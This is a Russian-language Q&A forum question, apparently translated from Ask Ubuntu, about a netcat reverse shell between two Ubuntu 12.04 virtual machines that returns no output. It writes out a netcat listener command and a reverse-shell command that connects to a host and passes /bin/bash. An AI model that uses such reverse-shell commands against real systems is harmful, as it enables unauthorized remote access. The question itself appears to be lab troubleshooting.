Почему удаленная оболочка netcat не возвращает никаких результатов в ubuntu 12.04?

Я подключаюсь к серверу, установленному на моем ноутбуке, оба находятся в одном и том же vmnet, и обе системы - Ubuntu 12.04 LTS.

Для подключения я использую обратную оболочку от веб-сервера. Сначала я начинаю слушать на своем хосте, набирая sudo nc -l -k -v 10101, а затем начинаю прослушивание, заходя на свой веб-сервер и набирая /bin/nc 172.16.55.1 10101 /bin/bash

. На стороне хоста я получаю уведомление: connection from 172.16.55.128 port 10101 [tcp/*] accepted

После этого, вместо того, чтобы иметь работающее соединение (т.е. написать ls на хосте и получить выходные данные моего веб-сервера), я ничего не получаю на своем хосте, и на своем веб-сервере я вижу тот же ввод, который я написал с хоста (т.е. все, что я вижу, это ls)

Из прошлого опыта, когда я использовал удаленную оболочку, мой хост изменился с me@host:~$ на что-то еще, что указывает, что я сейчас нахожусь в удаленной системе, например me@remotewebserver:~$ здесь это не тот случай, у меня ничего нет до той части, где я печатаю, даже me@host, который был там.

2
задан 13 May 2014 в 18:25

0 ответов

Другие вопросы по тегам:

Похожие вопросы: